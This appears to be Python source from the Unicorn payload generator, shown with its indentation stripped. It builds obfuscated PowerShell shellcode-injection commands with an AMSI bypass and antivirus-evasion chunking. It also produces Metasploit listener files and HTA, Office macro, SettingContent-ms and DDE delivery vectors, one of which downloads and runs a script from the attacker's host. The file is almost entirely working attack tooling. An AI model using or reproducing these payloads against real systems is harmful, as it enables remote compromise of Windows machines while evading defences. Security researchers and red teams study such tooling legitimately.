# generate shellcode attack and replace hex
def gen_shellcode_attack(payload, ipaddr, port):
# regular payload generation stuff
# generate our shellcode first
if ipaddr != ("cobaltstrike"):
shellcode = generate_shellcode(payload, ipaddr, port).rstrip()
# sub in \x for 0x
shellcode = re.sub("\\\\x", "0x", shellcode)
# base counter
counter = 0
# count every four characters then trigger floater and write out data
floater = ""
# ultimate string
newdata = ""
for line in shellcode:
floater += line
counter += 1
if counter == 4:
newdata = newdata + floater + ","
floater = ""
counter = 0
# here's our shellcode prepped and ready to go
shellcode = newdata[:-1]
# if we aren't using download/exec
if not "url=" in ipaddr:
# write out rc file
write_file("unicorn.rc", "use multi/handler\nset payload {0}\nset LHOST {1}\nset LPORT {2}\nset ExitOnSession false\nset AutoVerifySession false\nset AutoSystemInfo false\nset AutoLoadStdapi false\nexploit -j\n".format(payload, ipaddr, port))
# switch variable to be shellcode for formatting
if ipaddr == "cobaltstrike": shellcode = payload
# added random vars before and after to change strings
# this is a hack job but it works in checking to see if there are any variable name conflicts. While random, can happen when using only 2 randomized characters for char lenght.
while True:
varcheck = ("")
reroll = False
var1 = "$" + generate_random_string(2, 2) # $1
varcheck = var1
var2 = "$" + generate_random_string(2, 2) # $c
if var2.lower() in varcheck.lower():
reroll = True
varcheck = varcheck + var2
var3 = "$" + generate_random_string(2, 2) # $2 - powershell
if var3.lower() in varcheck.lower():
reroll = True
varcheck = varcheck + var3
var4 = "$" + generate_random_string(2, 2) # $3
if var4.lower() in varcheck.lower():
reroll = True
varcheck = varcheck + var4
var5 = "$" + generate_random_string(2, 2) # $x
if var5.lower() in varcheck.lower():
reroll = True
varcheck = varcheck + var5
var6 = "$" + generate_random_string(2, 2) # $t
if var6.lower() in varcheck.lower():
reroll = True
varcheck = varcheck + var6
var7 = "$" + generate_random_string(2, 2) # $h
if var7.lower() in varcheck.lower():
reroll = True
varcheck = varcheck + var7
var8 = "$" + generate_random_string(2, 2) # $z
if var8.lower() in varcheck.lower():
reroll = True
varcheck = varcheck + var8
var9 = "$" + generate_random_string(2, 2) # $g
if var9.lower() in varcheck.lower():
reroll = True
varcheck = varcheck + var9
var10 = "$" + generate_random_string(2, 2) # $i
if var10.lower() in varcheck.lower():
reroll = True
varcheck = varcheck + var10
var11 = "$" + generate_random_string(2, 2) # $w
if var11.lower() in varcheck.lower():
reroll = True
varcheck = varcheck + var11
var12 = (str(generate_random_number(1001,1010)))
if var12.lower() in varcheck.lower():
reroll = True
varcheck = varcheck + var12
var13 = "$" + generate_random_string(2, 2) # $4 - Windows
if var13.lower() in varcheck.lower():
reroll = True
varcheck = varcheck + var13
var14 = generate_random_string(3, 3) # $allocreplace
if var14.lower() in varcheck.lower():
reroll = True
varcheck = varcheck + var14
tempvar_withoutdollar = generate_random_string(3, 3) # $tempvar
var15 = "$" + tempvar_withoutdollar
if var15.lower() in varcheck.lower():
reroll = True
varcheck = varcheck + var15
var16 = generate_random_string(3,3) # $createthread
if var16.lower() in varcheck.lower():
reroll = True
varcheck = varcheck + var16
var17 = "$" + generate_random_string(3,3) # $yyyy
if var17.lower() in varcheck.lower():
reroll = True
varcheck = varcheck + var17
var18 = generate_random_string(3,3) # $Win32
if var18.lower() in varcheck.lower():
reroll = True
varcheck = varcheck + var18
var19 = generate_random_string(3,3) # $CreateThread
if var19.lower() in varcheck.lower():
reroll = True
varcheck = varcheck + var19
if reroll == True: print("[*] Great Scott!! There was a variable conflict. This happens. It's OK Marty. Rerolling variable names until we get a solid set to remove conflicting names.")
if reroll == False: break
# generate random service name from win32 - defender was looking from name win32 + 0x00 length inside of byte array
randomize_service_name = generate_random_string(2,2)
# randomize kernel32.dll for fun
random_length = generate_random_number(1,12)
# random var name
full_command = generate_random_string(2,2)
# randomize kernel32.dll and msvcrt.dll
kernel = mangle_word("kernel32.dll")
msv = mangle_word("msvcrt.dll")
Win32 = mangle_word("Win32Functions")
true_mangle = mangle_word("True")
# here we do a little magic to get around AMSI, no more cat and mouse game here by chunking of shellcode, it's not needed since Defender and AMSI is still signature driven primarily
random_symbols = ['!', '@', '#', '%', '^', '&', '*', '(', ')', '-', '+', '=', '{', '}', '|', '.', ':', ';', '<', '>', '?', '/']
random_symbols = ['}']
mangle_shellcode = (random.choice(random_symbols))
#mangle_shellcode = generate_random_string(1, 1).upper()
shellcode = shellcode.replace("0x", mangle_shellcode)
# mangle 0x
randomized_byte_name = generate_random_string(3,4)
# randomize syswow64 var
syswow_var = generate_random_string(3,4)
# randomize noe xit
noexit = generate_random_string(3,4)
truevalue = generate_random_string(3,4)
# syswow split for obfuscation
syswowsplit_1 = generate_random_string(3,4)
syswowsplit_2 = generate_random_string(3,4)
# one line shellcode injection with native x86 shellcode
powershell_code = (r'''$1111='$tttt=''[DllImport(("%s"))]public static extern IntPtr calloc(uint dwSize, uint amount);[DllImport("%s")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("%s")]public static extern IntPtr VirtualProtect(IntPtr lpStartAddress, uint dwSize, uint flNewProtect, out uint %s);[DllImport("%s")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$zzzz="%s";$wwww=Add-Type -pass -m $tttt -Name "%s" -names $Win32;$wwww=$wwww.replace("$Win32", "%s");[byte[]]$zzzz = $zzzz.replace("SHELLCODE_STUB","$randomized_byte_namex").replace("$randomized_byte_name", "0").Split(",");$gggg=0x$randstack;if ($zzzz.L -gt 0x$randstack){$gggg=$zzzz.L};$xxxx=$wwww::calloc(0x$randstack, 1);[UInt64]$tempvar = 0;for($iiii=0;$iiii -le($zzzz.Length-1);$iiii++){$wwww::memset([IntPtr]($xxxx.ToInt32()+$iiii), $zzzz[$iiii], 1)};$wwww::VirtualProtect($xxxx, 0x$randstack, 0x40, [Ref]$tempvar);$yyyy=[int]0x00;$wwww::CreateThread([int]0,$yyyy,$xxxx,0,0,1-1);';$hhhh=[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($1111));$2222="powershell";$4444="Windows";$5555 = "C:\$4444\$syswowsplit_1$syswowsplit_2\$4444$2222\v1.0\$2222";$5555 = $5555.replace("$syswowsplit_1", "sys");$5555 = $5555.replace("$syswowsplit_2", "wow64");$$truevalue = '%s';if([environment]::Is64BitOperatingSystem -eq '$$truevalue'){$2222= $5555};$fullcommand=" $2222 $noexit $hhhh";$fullcommand=$fullcommand.replace("$noexit", "-noexit -e");iex $fullcommand''' % (msv,kernel,kernel,tempvar_withoutdollar,msv,shellcode,randomize_service_name,Win32,true_mangle)).replace("SHELLCODE_STUB", mangle_shellcode)
# run it through a lame var replace
powershell_code = powershell_code.replace("$1111", var1).replace("$cccc", var2).replace(
"$2222", var3).replace("$3333", var4).replace("$xxxx", var5).replace("$tttt", var6).replace(
"$hhhh", var7).replace("$zzzz", var8).replace("$gggg", var9).replace("$iiii", var10).replace(
"$wwww", var11).replace("$randstack", var12).replace("$4444", var13).replace("$tempvar", var15).replace(
"$yyyy", var17).replace("$Win32", var18).replace("$randomized_byte_name", randomized_byte_name).replace(
"$fullcommand", "$" + full_command).replace("$5555", "$" + syswow_var).replace("$noexit", noexit).replace(
"$truevalue", truevalue).replace("$syswowsplit_1", syswowsplit_1).replace("$syswowsplit_2", syswowsplit_2)
# if we have PRINT_DECODED="ON" this will spit out the raw powershell code for you
if PRINT_DECODED.lower() == "on":
if AMSI_BYPASS.lower() == "on":
print("# AMSI BYPASS PAYLOAD BELOW")
print(bypass_amsi())
print("\n# ACTUAL UNICORN PAYLOAD BELOW")
print(powershell_code)
print("\n[*] Note that PRINT_DECODED inside unicorn.py was specified and printing the raw output for the PowerShell code. Turn this off to get the full unicorn code.")
sys.exit()
return powershell_code
def gen_ps1_attack(ps1path):
if os.path.isfile(ps1path):
with open(ps1path, 'r') as scriptfile:
data = scriptfile.read()
return data
else:
print("[!] {0} does not exist. Please check your path".format(ps1path))
sys.exit(1)
def format_payload(powershell_code, attack_type, attack_modifier, option):
gen_unicorn()
print("Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)")
print("Twitter: @TrustedSec, @HackingDave")
print("\nHappy Magic Unicorns.")
ran1 = generate_random_string(2, 3)
ran2 = generate_random_string(2, 3)
ran3 = generate_random_string(2, 3)
ran4 = generate_random_string(2, 3)
# format payload is for adding chunking to evade detection
avblah = base64.b64encode(powershell_code.encode('utf_16_le')) # kinder gentler dave variable name now
# here we mangle our encodedcommand by splitting it up in random chunks
avsux = randomint = random.randint(4000,5000)
avnotftw = [avblah[i: i + avsux] for i in range(0, len(avblah), avsux)]
haha_av = ""
counter = 0
for non_signature in avnotftw:
non_signature = (non_signature.rstrip())
if counter > 0: haha_av = haha_av + ("+")
if counter > 0: haha_av = haha_av + ("'")
surprise_surprise = non_signature.decode("ascii") + ("'")
haha_av = haha_av + surprise_surprise #ThisShouldKeepMattHappy
haha_av = haha_av.replace("==", "'+'==")
counter = 1
random_quotes = ["''", '\\"\\"' ]
mangle_quotes = (random.choice(random_quotes))
full_attack = '''powershell /w 1 /C "sv {0} -;sv {1} ec;sv {2} ((gv {3}).value.toString()+(gv {4}).value.toString());powershell (gv {5}).value.toString() (\''''.format(ran1, ran2, ran3, ran1, ran2, ran3) + haha_av + ")" + '"'
# if we want to use AMSI bypassing
if AMSI_BYPASS.lower() == "on":
random_symbols = ['!', '@', '#', '%', '^', '&', '*', '(', ')', '-', '+', '=', '{', '}', '|', '.', ':', ';', '<', '>', '?', '/']
random_symbols = ['}']
mangle_shellcode = (random.choice(random_symbols))
# here we mangle the code a bit to get around AMSI detections
kernel32 = mangle_word("kernel32")
dll = mangle_word(".dll")
amsi = mangle_word("Amsi")
scan = mangle_word("Scan")
buffer = mangle_word("Buffer")
one = "$" + generate_random_string(5,10)
two = "$" + generate_random_string(5,10)
three = "$" + generate_random_string(5,10)
four = "$" + generate_random_string(5,10)
five = generate_random_string(5,10)
six = generate_random_string(5,10)
amsi_string = (bypass_amsi()).replace("$kernel32", kernel32).replace("$dll", dll).replace("$amsi", amsi).replace("$scan", scan).replace("$buffer", buffer).replace("$1111", one).replace("$2222", two).replace("$3333", three).replace("$4444", four)
amsi_string = (amsi_string).replace('%s = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3);' % (four), '%s = ("GOATxB8REPLACE, GOATxYAWN, GOATxGOATGOAT, GOATxGOAT7, GOATx8GOAT, GOATxC3").replace("YAWN", "57").replace("%s", "MOO").replace("B8REPLACE", "B8");%s = [Byte[]](%s).split(",");' % (four, mangle_shellcode, four, four)).replace("GOAT", mangle_shellcode).replace("MOO", "0").replace("YAWN", five).replace("B8REPLACE", six)
amsi_encoded = base64.b64encode(amsi_string.encode('utf_16_le')).decode('ascii')
# b8 horse
full_attack = '''# AMSI bypass code - run in same process as unicorn second stage\npowershell /w 1 /C "sv {0} -;sv {1} ec;sv {2} ((gv {3}).value.toString()+(gv {4}).value.toString());powershell (gv {5}).value.toString() (\''''.format(ran1, ran2, ran3, ran1, ran2, ran3) + amsi_encoded + "')" + '"' + "\n\n# actual unicorn payload\n" + full_attack
# powershell -w 1 -C "powershell ([char]45+[char]101+[char]99) YwBhAGwAYwA=" <-- Another nasty one that should evade. If you are reading the source, feel free to use and tweak
# for cobalt strike
if attack_type == "cs":
# generate the hta attack vector with cobalt strike
if attack_modifier == "hta":
gen_hta_attack(full_attack)
cobalt_strike()
hta_help()
print("[*] Exported the hta attack vector to hta_attack/. This folder contains everything you need. Enjoy!\n")
elif attack_modifier == "ms":
ms_voodoo_stuff()
gen_hta_attack(full_attack)
cobalt_strike()
shutil.move("Standalone_NoASR.SettingContent-ms", "hta_attack/")
settings_ms()
print("[*] Exported SettingContent-ms and all HTA attack stuff to hta_attack as Standalone_NoASR.SettingContent-ms, Launcher.hta, and index.html.")
print("[*] Edit the Standalone_NoASR.SettingContent-ms and replace the section 'REPLACECOOLSTUFFHERE' with something like mshta http://<ip_or_dns_to_server/Launcher.hta")
print("[*] Example step: Start Apache and move contents of hta_attack/ to /var/www/html/, and edit .SettingContent-ms with mshta http://<ip_of_apache>.")
elif attack_modifier == "macro":
macro_attack = generate_macro(full_attack)
write_file("powershell_attack.txt", macro_attack)
cobalt_strike()
macro_help()
print("[*] Exported the Cobalt Strike Unicorn Attack for Macros out to powershell_attack.txt. Enjoy!\n")
else:
write_file("powershell_attack.txt", full_attack)
cobalt_strike()
print("[*] Exported the Cobalt Strike Unicorn Attack codebase out to powershell_attack.txt. Enjoy!\n")
# for custom shellcode
if attack_type == "shellcode":
if attack_modifier == "hta":
gen_hta_attack(full_attack)
custom_shellcode()
hta_help()
print("[*] Exported the hta attack vector to hta_attack/. This folder contains everything you need. Enjoy!\n")
elif attack_modifier == "ms":
ms_voodoo_stuff()
gen_hta_attack(full_attack)
custom_shellcode()
shutil.move("Standalone_NoASR.SettingContent-ms", "hta_attack/")
settings_ms()
print("[*] Exported SettingContent-ms and all HTA attack stuff to hta_attack as Standalone_NoASR.SettingContent-ms, Launcher.hta, and index.html.")
print("[*] Edit the Standalone_NoASR.SettingContent-ms and replace the section 'REPLACECOOLSTUFFHERE' with something like mshta http://<ip_or_dns_to_server/Launcher.hta")
print("[*] Example step: Start Apache and move contents of hta_attack/ to /var/www/html/, and edit .SettingContent-ms with mshta http://<ip_of_apache>.")
elif attack_modifier == "macro":
macro_attack = generate_macro(full_attack)
write_file("powershell_attack.txt", macro_attack)
custom_shellcode()
macro_help()
else:
# add HTA option for shellcode
if "hta" in sys.argv:
gen_hta_attack(full_attack)
print("[*] Exported the custom shellcode to the hta generation under the hta_attacks folder. Enjoy!|n")
if "macro" in sys.argv:
macro_gen = generate_macro(full_attack)
write_file("powershell_attack.txt", macro_gen)
print("[*] Exported the custom shellcode to the macro generation and exported to powershell_attack.txt. Enjoy!\n")
else:
write_file("powershell_attack.txt", full_attack)
custom_shellcode()
print("[*] Exported the Custom Shellcode Attack codebase out to powershell_attack.txt. Enjoy!\n")
if attack_type == "msf" or attack_type == "download/exec":
if attack_modifier == "macro":
macro_attack = generate_macro(full_attack)
write_file("powershell_attack.txt", macro_attack)
macro_help()
elif attack_modifier == "hta":
gen_hta_attack(full_attack)
# move unicorn to hta attack if hta specified
shutil.move("unicorn.rc", "hta_attack/")
hta_help()
elif attack_modifier == "ms":
ms_voodoo_stuff()
gen_hta_attack(full_attack)
custom_shellcode()
shutil.move("Standalone_NoASR.SettingContent-ms", "hta_attack/")
shutil.move("unicorn.rc", "hta_attack/")
settings_ms()
print("[*] Exported SettingContent-ms and all HTA attack stuff to hta_attack as Standalone_NoASR.SettingContent-ms, Launcher.hta, and index.html.")
print("[*] Edit the Standalone_NoASR.SettingContent-ms and replace the section 'REPLACECOOLSTUFFHERE' with something like mshta http://<ip_or_dns_to_server/Launcher.hta")
print("[*] Example step: Start Apache and move contents of hta_attack/ to /var/www/html/, and edit .SettingContent-ms with mshta http://<ip_of_apache>.")
else: # write out powershell attacks
if len(full_attack) > 8191:
if AMSI_BYPASS.lower() == "on":
print("[*] Note that AMSI_BYPASS is currently set to 'ON' which incorporates an AMSI Bypass technique that is large in nature.")
print("[*] Windows command prompt has a character restriction of 8191 which if you are using cmd.exe as a payload delivery option, this will not work.")
print("[*] Turn off AMSI_BYPASS=ON in the unicorn.py file located at the very top to turn this feature off which is ON by default.")
print("[*] If you are calling PowerShell directly, this is not a concern.")
else:
print("[!] WARNING. WARNING. Length of the payload is above command line limit length of 8191. Recommend trying to generate again or the line will be cut off.")
print("[!] Total Payload Length Size: " + str(len(full_attack)))
input("Press {return} to continue.")
# format for dde specific payload
if attack_modifier == "dde":
full_attack_download = full_attack[11:] # remove powershell + 1 space
# incorporated technique here -> http://staaldraad.github.io/2017/10/23/msword-field-codes/
full_attack = ('''DDE "C:\\\\Programs\\\\Microsoft\\\\Office\\\\MSWord\\\\..\\\\..\\\\..\\\\..\\\\windows\\\\system32\\\\{ QUOTE 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 }\\\\v1.0\\\\{ QUOTE 112 111 119 101 114 115 104 101 108 108 46 101 120 101 } -w 1 -nop { QUOTE 105 101 120 }(New-Object System.Net.WebClient).DownloadString('http://%s/download.ps1'); # " "Microsoft Document Security Add-On"''' % (ipaddr)) # quote = WindowsPowerShell, powershell.exe, and iex
with open ("download.ps1", "w") as fh: fh.write(full_attack_download)
write_file("powershell_attack.txt", full_attack)
if attack_modifier != "dde":
if AMSI_BYPASS.lower() == "on": amsi_help() # print the AMSI bypass language
ps_help() # present normal powershell attack instructions
# if we are using dde attack, present that method
if attack_modifier == "dde":
dde_help()
elif attack_type == "custom_ps1":
if attack_modifier == "macro":
macro_attack = generate_macro(full_attack, option)
write_file("powershell_attack.txt", macro_attack)
else:
write_file("powershell_attack.txt", full_attack)
custom_ps1_help()
else:
if attack_type != "cs":
if attack_type != "shellcode":
if attack_modifier != "hta":
if attack_modifier != "macro":
write_file("powershell_attack.txt", full_attack)
ps_help()
# Print completion messages
if attack_type == "msf" and attack_modifier == "hta":
print("[*] Exported index.html, Launcher.hta, and unicorn.rc under hta_attack/.")
print("[*] Run msfconsole -r unicorn.rc to launch listener and move index and launcher to web server.\n")
elif attack_type == "msf" or attack_type =="download/exec":
print("[*] Exported powershell output code to powershell_attack.txt.")
if attack_type != "download/exec":
print("[*] Exported Metasploit RC file as unicorn.rc. Run msfconsole -r unicorn.rc to execute and create listener.")
if attack_type == "download/exec":
print("[*] This attack does not rely on Metasploit, its custom shellcode. Whatever you execute, if its a payload that is a reverse connection, make sure you have a listener setup.")
if attack_modifier == "dde":
print("[*] Exported download.ps1 which is what you use for code execution. (READ INSTRUCTIONS)")
print("\n")
elif attack_type == "custom_ps1":
print("[*] Exported powershell output code to powershell_attack.txt")
# This is the SettingContent-ms filetype based on research here: https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
def ms_voodoo_stuff():
# read file content in
ms_input = open("templates/Standalone_NoASR.SettingContent-ms", "r").read()
# write the content out
write_file("Standalone_NoASR.SettingContent-ms", ms_input)
settings_ms()
# pull the variables needed for usage
try:
attack_type = ""
attack_modifier = ""
payload = ""
ps1path = ""
if len(sys.argv) > 1:
os.system("clear")
gen_unicorn()
payload_options = ["powershell","macro","hta","cert","custom","dde","cobalt","general"]
help_options = ["-h","--help"]
if len(sys.argv) > 2:
if sys.argv[2] in payload_options:
# Show help for specific payload options
if sys.argv[2] == "powershell":
ps_help()
gen_usage()
sys.exit()
elif sys.argv[2] == "macro":
macro_help()
gen_usage()
sys.exit()
elif sys.argv[2] == "hta":
hta_help()
gen_usage()
sys.exit()
elif sys.argv[2] == "cert":
cert_help()
gen_usage()
sys.exit()
elif sys.argv[2] == "custom":
custom_ps1_help()
custom_shellcode()
gen_usage()
sys.exit()
elif sys.argv[2] == "dde":
dde_help()
gen_usage()
sys.exit()
elif sys.argv[2] == "cobalt":
cobalt_strike()
gen_usage()
sys.exit()
elif sys.argv[2] == "general":
gen_usage()
sys.exit()
elif len(sys.argv) <= 2 and sys.argv[1] in help_options:
# Show all help menus if none specified
ps_help()
macro_help()
hta_help()
cert_help()
custom_ps1_help()
dde_help()
cobalt_strike()
gen_usage()
sys.exit()
# if using a 64 bit payload then downgrade to 32 bit. The way unicorn works is by doing whats called an x86 downgrade attack so there is$
if ("windows/x64/meterpreter") in sys.argv[1]:
print("[!] WARNING: x64 meterpreter payload selected which is not compatible. Unicorn handles shellcode creation on both 32 and 64 by using an x86 downgrade attack regardless of 32 and 64 bit platforms. No interaction needed, downgrading to 32-bit payload.")
sys.argv[1] = sys.argv[1].replace("windows/x64/", "windows/")
# settings option for SettingContent-ms filetype attack vector
if sys.argv[1] == "ms":
attack_type = ("ms")
else:
if len(sys.argv) > 2 and sys.argv[2] == "crt":
attack_type = "crt"
payload = sys.argv[1]
elif re.search('\.ps1$', sys.argv[1]) is not None:
attack_type = "custom_ps1"
ps1path = sys.argv[1]
elif sys.argv[1] =="windows/download_exec":
attack_type = "download/exec"
port = "none"
if "macro" in sys.argv: attack_modifier = "macro"
elif sys.argv[2] == "cs":
attack_type = "cs"
# using hta attack within custom shellcode or cobalt strike
if "hta" in sys.argv:
attack_modifier = "hta"
if "ms" in sys.argv:
attack_modifier = "ms"
# using macro attack within custom shellcode or co balt strike
if "macro" in sys.argv:
attack_modifier = "macro"
elif sys.argv[2] == "shellcode":
attack_type = "shellcode"
else:
attack_type = "msf"
payload = sys.argv[1]
# if we are using macros
if len(sys.argv) == 5:
if attack_type == "msf": # msf macro attack
ipaddr = sys.argv[2]
port = sys.argv[3]
attack_modifier = sys.argv[4]
ps = gen_shellcode_attack(payload, ipaddr, port)
else:
print("[!] Options not understood or missing. Use --help switch for assistance.")
sys.exit(1)
format_payload(ps, attack_type, attack_modifier, None)
# this is our cobalt strike and custom shellcode menu
elif attack_type == "cs" or attack_type == "shellcode":
if not os.path.isfile(sys.argv[1]):
print("[!] File not found. Check the path and try again.")
sys.exit()
payload = open(sys.argv[1], "r").read()
if not "," in payload:
# attempt to see if its metasploit
payload = format_metasploit(payload)
if attack_type == "cs":
#if not "char buf[] =" in payload:
if not "byte[] buf = new byte" in payload:
if not " byte buf[]" in payload:
print("[!] Cobalt Strike file either not formatted properly or not the C#/CS format.")
sys.exit()
payload = payload.split("{")[1].replace(" };", "").replace(" ", "") # stripping out so we have 0x00 format
ipaddr = "cobaltstrike"
port = "cobaltstrike"
ps = gen_shellcode_attack(payload, ipaddr, port)
if attack_modifier != "hta":
if attack_modifier != "macro":
if attack_modifier != "ms":
attack_modifier = ("cs")
format_payload(ps, attack_type, attack_modifier, None)
# default unicorn & custom ps1 macro attacks
elif len(sys.argv) == 4 or attack_type == "download/exec":
if attack_type == "custom_ps1": # custom ps1 macro attack
attack_modifier = sys.argv[2]
option = sys.argv[3]
ps = gen_ps1_attack(ps1path)
elif attack_type == "msf" or attack_type == "download/exec":
payload = sys.argv[1]
if attack_type != "download/exec":
port = sys.argv[3]
ipaddr = sys.argv[2]
if attack_modifier != "macro":
attack_modifier = ""
option = None
ps = gen_shellcode_attack(payload, ipaddr, port)
# It should not be possible to get here, but just in case it does for some reason in the future, it will
# prevent usage of 'ps' and 'option', causing the app to crash
else:
print("[!] Something went way wrong while generating payload.")
sys.exit()
format_payload(ps, attack_type, attack_modifier, option)
elif len(sys.argv) == 3:
# Matthews base64 cert attack or cs
if attack_type == "crt":
cert_help()
# generate the attack vector
gen_cert_attack(payload)
elif attack_type == "custom_ps1":
attack_modifier = sys.argv[2]
ps = gen_ps1_attack(ps1path)
format_payload(ps, attack_type, attack_modifier, None)
else:
print("[!] Options not understood or missing. Use --help switch for assistance.")
sys.exit()
elif len(sys.argv) == 2:
if attack_type == "custom_ps1":
ps = gen_ps1_attack(ps1path)
format_payload(ps, attack_type, None, None)
# here we start the magic voodoo stuff for SettingContent-ms
elif attack_type == "ms":
ms_voodoo_stuff()
else:
print("[!] Options not understood or missing. Use --help switch for assistance.")
sys.exit()
# if we did supply parameters
elif len(sys.argv) < 2:
gen_unicorn()
gen_usage()
except KeyboardInterrupt:
print("\nExiting Unicorn... May the magical unicorn force flow through you.\n")
sys.exit()
except Exception as e:
if "list index" in str(e): print("[!] It appears you did not follow the right syntax for Unicorn. Try again, run python3 unicorn.py for all usage.")
else: print("[!] Something went wrong, printing the error: " + str(e))